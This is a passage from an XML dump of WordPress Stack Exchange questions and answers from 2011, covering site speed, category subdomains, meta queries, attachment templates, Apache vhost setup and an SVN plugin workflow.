WP.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What I meant by the difficulty of page-load optimization is that if one achieves interactive functionality via lots of plugins, many scripts are loaded and it becomes more tedious to go back and combine, modify, customize or optimize them. I find it easier to include jQuery plugins outside of Wordpress and not have to deal with how they hook into wp_head.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, some plugins have no clue how to properly load scripts. That is really arguments for picking plugins carefully, not against WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concatenating and optimizing scripts is trivial with good caching plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall and after your updates I feel that you are too eager to discard WordPress for issues that are inherent to any complex and fully-featured CMS (you need decent hosting to get it snappy) and you hadn't spend much time looking into caching solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just might not be a good fit for the type of sites you build and you are better off looking into lighter, simpler and less functional CMS that will perform better under your hosting constraints.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T14:27:10.717" LastActivityDate="2011-04-05T14:27:10.717" CommentCount="4" />
  <row Id="13905" PostTypeId="1" CreationDate="2011-04-04T17:16:16.537" Score="1" ViewCount="217" Body="&lt;p&gt;I'd like to find a way to make subdomain addresses work for some of my important tags and categories. For instance foo.thesite.com would show content for thesite.com/category/foo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to make this working using my .htaccess file and the DNS but I can't get it to work properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making the subdomain forward to the right URL is just a matter of the right DNS settings, but then I also want to make sure the site shows it as foo.thesite.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide some ideas on how to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - April 6:&lt;/strong&gt; I found one partial solution. If you have full domain DNS control and you have the CURL DNS option you can add a subdomain and point it to the category or tag page. The catch is that when I did this, clicking links leaves the URL as foo.thesite.com, and the title somehow doesn't work--instead of a title I get the URL as the page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this, alternatives, or ideas on how to format the .htaccess rules?&lt;/p&gt;&#xA;" OwnerUserId="4132" LastEditorUserId="4132" LastEditorDisplayName="" LastEditDate="2011-04-06T15:51:54.070" LastActivityDate="2011-04-06T15:51:54.070" Title="Create subdomains for tags and categories" Tags="&lt;categories&gt;&lt;tags&gt;&lt;subdomains&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="13906" PostTypeId="2" ParentId="13900" CreationDate="2011-04-04T17:21:32.413" Score="0" ViewCount="" Body="&lt;p&gt;I really don't know if you have used Wordpress much based on what you posted? &#xA;We will use my site as an example. It gets a yslow score of 90% and loads in 1.5s flat for a new user. If they have it cached in their browser it's instant.. I don't even use static pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm on a dedicated server.. so I don't have to deal with shared hosting and I can optimize my server (gzip etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess is you have been using shared hosting server that is 120% sold.. then it comes to a crawl. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything custom is going to have Way more security vulnerabilities than something like Wordpress that get pounded on every day. Except, they most likely wont even bother because who cares about hacking a single site with iffy custom code?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I understand a bit more where you're coming from. However, much of what makes WordPress &lt;em&gt;&quot;slow&quot;&lt;/em&gt; is badly coded themes or unoptimized servers. If your hosting provider has servers setup with just a basic Apache/php/mysql install more than likely it's not optimized to run Wordpress.. There are tweaks to php.ini/httpd.conf/mysql that makes it run faster with a database driven site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is however a &quot;Server&quot; issue, not Wordpress. I have a site that is on my dedicated server (Mac Mini Server, 2.66 C2D, 4GB) that loads in 1.5sec and the SAME SITE loads in 4sec on InMotion which is one of the better/best shared hosting providers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my &quot;little server&quot; is by no means powerful and yet it kicks the pants off of any shared hosting.. Server optimization is just as important in total website speed as is site optimization.&lt;/p&gt;&#xA;" OwnerUserId="4434" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-06T16:07:07.790" LastActivityDate="2011-04-06T16:07:07.790" CommentCount="5" />
  <row Id="13907" PostTypeId="1" CreationDate="2011-04-04T18:00:05.270" Score="0" ViewCount="321" Body="&lt;p&gt;I need to select posts who are in multiple categories and have certain post metavalue. I can select multiple categories with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'category__and' =&amp;gt; array(1,2,3) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But also I need from those selected categories, select only those posts who have certain meta_value from wp_postmeta table. This task I can do with sql query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT (&#xA;p.ID&#xA;), p . *&#xA;FROM wp_posts AS p&#xA;INNER JOIN wp_postmeta AS p1 ON ( p.ID = p1.post_id )&#xA;CROSS JOIN wp_postmeta AS p3&#xA;USING ( post_id )&#xA;WHERE p3.meta_key = 'length'&#xA;AND convert( p3.meta_value, signed )&#xA;BETWEEN '&quot;.$min_length.&quot;'&#xA;AND '&quot;.$max_length.&quot;'&#xA;AND post_status = 'publish'&#xA;$subSelect&#xA;ORDER BY p.ID DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand how can I select for example only those posts who has category 1 AND 2 AND 3 AND postmeta meta_key length is BETWEEN $min_length AND $max_length?&lt;/p&gt;&#xA;" OwnerUserId="4435" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-04T18:13:15.577" LastActivityDate="2011-09-01T22:38:50.643" Title="How to select posts from multiple categories and metavalues?" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;categories&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="13908" PostTypeId="2" ParentId="13888" CreationDate="2011-04-04T18:01:07.490" Score="0" ViewCount="" Body="&lt;p&gt;Thank you guys for such quick response. Much appreciated!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is code for &quot;global&quot; Tags page (displaying terms of default 'post_tag' taxonomy):  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$term_slug = get_queried_object()-&amp;gt;slug;&#xA;    if ( !$term_slug )&#xA;    return;&#xA;    else  &#xA;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'any', 'tag' =&amp;gt; $term_slug, 'posts_per_page' =&amp;gt; 10 ) );&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop. ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the next code example is for custom taxonomy query (displaying terms of custom taxonomy):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;//http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&#xA;$term_slug = get_queried_object()-&amp;gt;slug;&#xA;        if ( !$term_slug )&#xA;        return;&#xA;        else&#xA;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;                     array(&#xA;                       'taxonomy' =&amp;gt; 'gallery_category',&#xA;                       'field' =&amp;gt; 'slug',&#xA;                       'terms' =&amp;gt; $term_slug,&#xA;                       'posts_per_page' =&amp;gt; 10&#xA;                     )&#xA;                   )&#xA;);&#xA;$loop = new WP_Query( $args );&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop. ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="3855" LastEditorDisplayName="" LastEditDate="2011-04-06T11:08:30.133" LastActivityDate="2011-04-06T11:08:30.133" CommentCount="3" />
  <row Id="13909" PostTypeId="1" CreationDate="2011-04-04T18:01:19.043" Score="1" ViewCount="210" Body="&lt;p&gt;How do I create a sort capability where User can Sort by Title, Category, Author, Date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to work almost identically to this site.&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-04-05T15:53:41.357" Title="How do I create a sort capability by Title, Category, Author, Date?" Tags="&lt;sort&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="13910" PostTypeId="2" ParentId="13907" CreationDate="2011-04-04T18:08:35.157" Score="0" ViewCount="" Body="&lt;p&gt;Since version 3.1 WP got much enhanced querying of custom fields. If I got the code right your query should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'category__and' =&amp;gt; array(1,2,3),&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'length',&#xA;            'value' =&amp;gt; array($min_length, $max_length),&#xA;            'compare' =&amp;gt; 'BETWEEN',&#xA;            'type' =&amp;gt; 'NUMERIC',&#xA;        ),&#xA;    ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Function Reference/WP Query &gt; Custom Field Parameters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;Advanced Metadata Queries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-04T18:08:35.157" />
  <row Id="13911" PostTypeId="1" AcceptedAnswerId="13912" CreationDate="2011-04-04T18:10:56.700" Score="0" ViewCount="85" Body="&lt;p&gt;I have customized my login screen with a logo using html{background:#E2DEAF url(.../images/login_logo.jpg) center top no-repeat;} because it is so wide. Usually would not tie something to the HTML element. works great BUT... it also shows up in the admin area. Anyway to prevent this? I only want it on the login.&lt;/p&gt;&#xA;" OwnerUserId="4418" LastActivityDate="2011-04-04T18:24:38.113" Title="Background image in login showing in admin area" Tags="&lt;admin&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="13912" PostTypeId="2" ParentId="13911" CreationDate="2011-04-04T18:24:38.113" Score="0" ViewCount="" Body="&lt;p&gt;Try selecting login body class instead of adding background to html tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.login {&#xA;   background:#E2DEAF url(.../images/login_logo.jpg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also play with .page (pages only), .logged-in (logged users) and so forth :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-04T18:24:38.113" CommentCount="1" />
  <row Id="13913" PostTypeId="2" ParentId="13899" CreationDate="2011-04-04T18:25:37.257" Score="2" ViewCount="" Body="&lt;p&gt;You need to add a meta box and populate it with the post attachments. It is very similar to the front end code you would use, except you need to save the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On admin init:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( $id, $title, $callback, $page, $context, $priority, $callback_args ); ?&amp;gt;&#xA;&#xA;function custom_type_metabox($post) {&#xA;    $custom_box = get_post_meta();&#xA;    //get all the attachments for the post  and throw them in an array. &#xA;    ?&amp;gt;&#xA;  //populate a checkbox list with the attachments from your array&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;custom_attach&quot; value=&quot;any&quot; &amp;lt;?php if ($somestring == 'attachment') echo &quot;checked=1&quot;;?&amp;gt;&amp;gt; &#xA;// then you need to save the data and pass it to the post using &quot;save_post&quot;&#xA;add_action('save_post', array('your_data'));&#xA;// add your function to verify and save data properly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a simple non working example I wrote off the cuff because what your asking for is basically the same as writing a plugin, maybe this will lead you into the codex.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-04-04T20:53:00.703" LastActivityDate="2011-04-04T20:53:00.703" CommentCount="1" />
  <row Id="13914" PostTypeId="2" ParentId="12916" CreationDate="2011-04-04T18:30:27.953" Score="0" ViewCount="" Body="&lt;p&gt;Check the WP Sort Plugin, it does exactly what you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-post-sorting/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-post-sorting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-04T18:30:27.953" CommentCount="1" />
  <row Id="13915" PostTypeId="2" ParentId="13905" CreationDate="2011-04-04T18:33:30.107" Score="3" ViewCount="" Body="&lt;p&gt;This plugin will help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-subdomains/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-subdomains/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, wp_redirect could be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4706672/wordpress-tags-redirect-to-subdomains&quot;&gt;http://stackoverflow.com/questions/4706672/wordpress-tags-redirect-to-subdomains&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-04T18:33:30.107" CommentCount="2" />
  <row Id="13916" PostTypeId="1" AcceptedAnswerId="13921" CreationDate="2011-04-04T19:02:01.610" Score="1" ViewCount="233" Body="&lt;p&gt;hey guys,&#xA;I couldn't find anything on the web. Is it possible to have custom template for the image attachement page. I wonder if it is possible to add a navigation to the image attachement page so people can easily navigate through a gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's even possible to add comments to each image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Moreover is it also possible to query if I'm currently on an attachement page? E.g. for breadcrumbs I want to insert something like &quot;home &gt; back to post &gt; current_image.jpg&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit/update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function breadcrumbs() {&#xA;    if (!is_home()) {&#xA;        echo &quot;&amp;lt;a href='&quot; . get_bloginfo('home') . &quot;' title='Home'&amp;gt;Home&amp;lt;/a&amp;gt; &amp;amp;rang; &quot;;&#xA;        if (is_category()) {&#xA;            $category = get_the_category(); &#xA;            echo $category[0]-&amp;gt;cat_name;&#xA;        } else if (is_single()) {&#xA;            the_category('title_li=');&#xA;            echo &quot; &amp;amp;rang; &quot;;&#xA;            the_title();&#xA;        } else if (is_page()) {&#xA;            $ancestors = get_post_ancestors($post);&#xA;            // echo ancestors&#xA;            foreach($ancestors as $id) {&#xA;                echo &quot;&amp;lt;a href='&quot; . get_permalink( $id ) . &quot;' title='&quot; . get_the_title( $id ) . &quot;'&amp;gt;&quot; . get_the_title( $id ) . &quot;&amp;lt;/a&amp;gt; &amp;amp;rang; &quot;;&#xA;            }&#xA;        } else if (is_tag()) {&#xA;            global $wp_query;&#xA;            $tag = get_term( $wp_query-&amp;gt;queried_object_id, 'post_tag');&#xA;            echo &quot;Tag &amp;amp;rang; &quot; . $tag-&amp;gt;name;&#xA;        } else if (is_search()) {&#xA;            echo &quot; Searchresults &amp;amp;rang; &quot; . get_search_query();&#xA;        } else if (is_404()) {&#xA;            echo &quot;Not found&quot;;&#xA;        //} else if ( is_attachment() ) {&#xA;        } else if ($post-&amp;gt;post_type == 'attachment') {&#xA;            //echo &quot;&amp;lt;a href='&quot; . get_permalink() . &quot;'&amp;gt;&quot; . get_the_title() . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;            echo &quot;doesn't work?&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-05T10:51:07.867" LastActivityDate="2011-04-05T10:51:07.867" Title="page template for attachement page?" Tags="&lt;php&gt;&lt;functions&gt;&lt;attachments&gt;&lt;page-template&gt;" AnswerCount="2" />
  <row Id="13917" PostTypeId="2" ParentId="13891" CreationDate="2011-04-04T19:03:48.690" Score="0" ViewCount="" Body="&lt;p&gt;Your .htaccess and wp-config.php seem to be correct as well as your wildcard dns entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the problem is with your apache vhost.  You have to include the wildcard entry in your vhost for Multisite to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;     ServerAdmin admin@mysite.com&#xA;     ServerName mysite.com&#xA;     ServerAlias www.mysite.com&#xA;     ServerAlias *.mysite.com&#xA;     UseCanonicalName On&#xA;     DocumentRoot /home/mysite/public_html&#xA;     ErrorLog /home/mysite/logs/error.log&#xA;     CustomLog /home/mysite/logs/access.log combined&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use domain mapping you will need to add a vhost entry for each domain mapped site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure you have NameVirtualHost set up in your ports.conf file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost *:80&#xA;Listen 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-04T19:03:48.690" CommentCount="2" />
  <row Id="13918" PostTypeId="2" ParentId="6324" CreationDate="2011-04-04T19:09:17.297" Score="0" ViewCount="" Body="&lt;p&gt;You can try deep integration with which you load the whole WordPress on bbPress side, and then can use WordPress specific functions. You can use an existing sidebar on bbPress side or even create a new one specific to the forums and use that. Theoretically everything should work but the mileage may vary. As per my experience, you are very less likely to have any issues and will be fine but this adds a good amount of load on forums side as WordPress core is also loaded along with bbPress core.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Deep integration */&#xA;if ( !defined('ABSPATH') &amp;amp; !defined('XMLRPC_REQUEST')) {&#xA;define('WP_USE_THEMES', false);&#xA;include_once(dirname(__FILE__) . '/../wp-blog-header.php' );&#xA;header(&quot;HTTP/1.1 200 OK&quot;);&#xA;header(&quot;Status: 200 All rosy&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One done, just use WordPress functions in your bbPress theme to build up anything that you want with WP codebase. Eg: &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;?php get_sidebar('forums'); ?&amp;gt;&lt;/code&gt; although define a sidebar by that name too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get some more bbPress related resources &amp;amp; advantage/disadvantages of using deep integration on this page - &lt;a href=&quot;http://blog.ashfame.com/bbpress/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ashfame.com/bbpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-04T19:09:17.297" />
  <row Id="13919" PostTypeId="2" ParentId="13916" CreationDate="2011-04-04T19:47:28.387" Score="5" ViewCount="" Body="&lt;p&gt;Short answer - Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attachments are served by template files based on their mime-type, So if your attachment is an image/jpg, for example, WordPress will first look for a template file named image.php, then jpg.php, and then finally attachment.php, before falling back on another template file (single.php or index.php). There's a good chart showing the template hierarchy on the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only works if you're accessing the attachment through WP's rewrite structure (ie. when you insert the image, choosing the &quot;link to post&quot; rather than &quot;link to file&quot; option. The url should look something like domain.com/post-name/attachment-name ... Accessing the file URL directly bypasses WordPress temple system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if you want to check if you're on an attachment page, you can always check the post type, ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($post-&amp;gt;post_type == 'attachment') {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, within an attachment.php template, there's no readon to bother checking that - you already know you're on an attachment page.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-04-04T19:47:28.387" CommentCount="4" />
  <row Id="13921" PostTypeId="2" ParentId="13916" CreationDate="2011-04-04T19:55:53.810" Score="2" ViewCount="" Body="&lt;p&gt;WordPress supports several types of attachment templates. The function &lt;code&gt;get_attachment_template&lt;/code&gt; in &lt;code&gt;wp-includes/theme.php&lt;/code&gt; provides this support; it is called in &lt;code&gt;wp-includes/template-redirect.php&lt;/code&gt;. If your theme includes &lt;code&gt;attachment.php&lt;/code&gt; all of your attachments will be rendered with that template. If your theme also includes &lt;code&gt;image.php&lt;/code&gt; then all of your images will use that template as long as they have a post_mime_type of &lt;code&gt;image/*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is certainly possible to add gallery navigation. See &lt;code&gt;wp-content/themes/twentyten/loop-attachment.php&lt;/code&gt; which uses functions &lt;code&gt;previous_image_link&lt;/code&gt; and &lt;code&gt;next_image_link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Twentyten's attachment template does call &lt;code&gt;comments_template&lt;/code&gt; so you can collect comments on each photo. You just have to make sure your post links to the attachment pages and not directly to the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can call &lt;code&gt;is_attachment&lt;/code&gt; to determine whether the queried object is an attachment.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-04-04T19:55:53.810" CommentCount="2" />
  <row Id="13922" PostTypeId="2" ParentId="13608" CreationDate="2011-04-04T20:10:55.933" Score="1" ViewCount="" Body="&lt;p&gt;WordPress does not support overloading permalink structures to the degree you want. You can write your own pre-rewrite filter to convert your desired URLs into URLs that WP_Rewrite can recognize, and then write filters to convert WordPress-generated links into your own style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand this, study &lt;code&gt;WP_Rewrite::generate_rewrite_rules&lt;/code&gt; and &lt;code&gt;WP::parse_request&lt;/code&gt;, which are commonly regarded as &quot;voodoo&quot;.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-04-04T20:10:55.933" CommentCount="1" />
  <row Id="13923" PostTypeId="2" ParentId="13894" CreationDate="2011-04-04T20:25:51.647" Score="2" ViewCount="" Body="&lt;p&gt;Don't know of a plugin that does that but if you take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/phplist-form-integration/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP PHPList plugin&lt;/strong&gt;&lt;/a&gt; or more specifically the way it &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/phplist-form-integration/trunk/phplist.php?rev=227427#L136&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Interacts with phplist&lt;/strong&gt;&lt;/a&gt; using PHP CURL, it logs in to phplist as admin and save cookie using &lt;code&gt;CURLOPT_COOKIEFILE&lt;/code&gt; and then simulates a post to subscriber form. So maybe going in that route you can do the same and simulate a post to &#xA;send mail form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then all that is left is to hook you function to these hooks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('new_to_publish', 'send_new_post_mail');&#xA;add_action('draft_to_publish', 'send_new_post_mail');&#xA;add_action('pending_to_publish', 'send_new_post_mail');&#xA;add_action('private_to_publish', 'send_new_post_mail');&#xA;add_action('future_to_publish', 'send_new_post_mail');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know its not a complete solution but should give you a jump start.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T20:25:51.647" CommentCount="1" />
  <row Id="13924" PostTypeId="2" ParentId="13821" CreationDate="2011-04-04T20:34:01.657" Score="3" ViewCount="" Body="&lt;p&gt;I run a WordPress checkout of trunk, a branch, or a tag. This way I can switch WordPress versions easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;svn sw http://svn.automattic.com/wordpress/trunk&#xA;svn sw http://svn.automattic.com/wordpress/tags/3.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;wp-content/plugins&lt;/code&gt; I have a trunk checkout for each of my plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd wp-content/plugins&#xA;svn co http://plugins.svn.wordpress.org/stats/trunk/ stats&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do my work on the stats plugin (updating the changelog in the readme), then I commit directly from there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;emacs stats.php readme.txt&#xA;svn di stats.php readme.txt&#xA;svn ci stats.php readme.txt -m &quot;stats: fixed issue with SSL&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When it's time to push a new version, I copy from trunk to the new tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;svn cp http://plugins.svn.wordpress.org/stats/trunk/ http://plugins.svn.wordpress.org/stats/tags/4.2.1/ -m &quot;stats: tag 4.2.1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally I bump the stable tag in the readme and commit that to trunk.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;emacs readme.txt&#xA;svn di readme.txt&#xA;svn ci readme.txt -m &quot;stats: bump stable tag to 4.2.1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do all of this in Linux or Mac. In my former life as a Windows user, I'd SSH (PuTTY) into a Linux box or (last resort) virtualize Linux.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-04-04T20:34:01.657" />
  <row Id="13925" PostTypeId="1" AcceptedAnswerId="14020" CreationDate="2011-04-04T20:38:08.543" Score="1" ViewCount="393" Body="&lt;p&gt;I need to display images and other content in the sidebar depending on a page. Pages are added dynamically and information that need to appear in the sidebar is different for each page. So I can't predict what will go where. So the idea was is to have a page's content as usual (with all the neccessary shortcodes) and then at the end of page content have a shortcode with all the info that needs to appear in the sidebar for that page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Original question: displaying shortcodes selectively (suppress in the main content and instead display in a sidebar)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to display shortcodes &quot;selectively&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a specific shortcode, let's call it &lt;code&gt;[sc]&lt;/code&gt;, is specified within a page content. Now, when displaying that page's content I would like to suppress that specific &lt;code&gt;[sc]&lt;/code&gt; shortcode, but instead display it from the sidebar for that page. Content of a page will have other shortcodes. I only want to do selectively display the specific &lt;code&gt;[sc]&lt;/code&gt; shortcode and process others as usual - i.e. other shortcodes will be processed within the page's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible to do? And how?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-06T14:17:46.467" LastActivityDate="2011-04-06T14:17:46.467" Title="Display post shortcode content in the sidebar?" Tags="&lt;functions&gt;&lt;page&gt;&lt;sidebar&gt;&lt;shortcode&gt;&lt;content&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" />
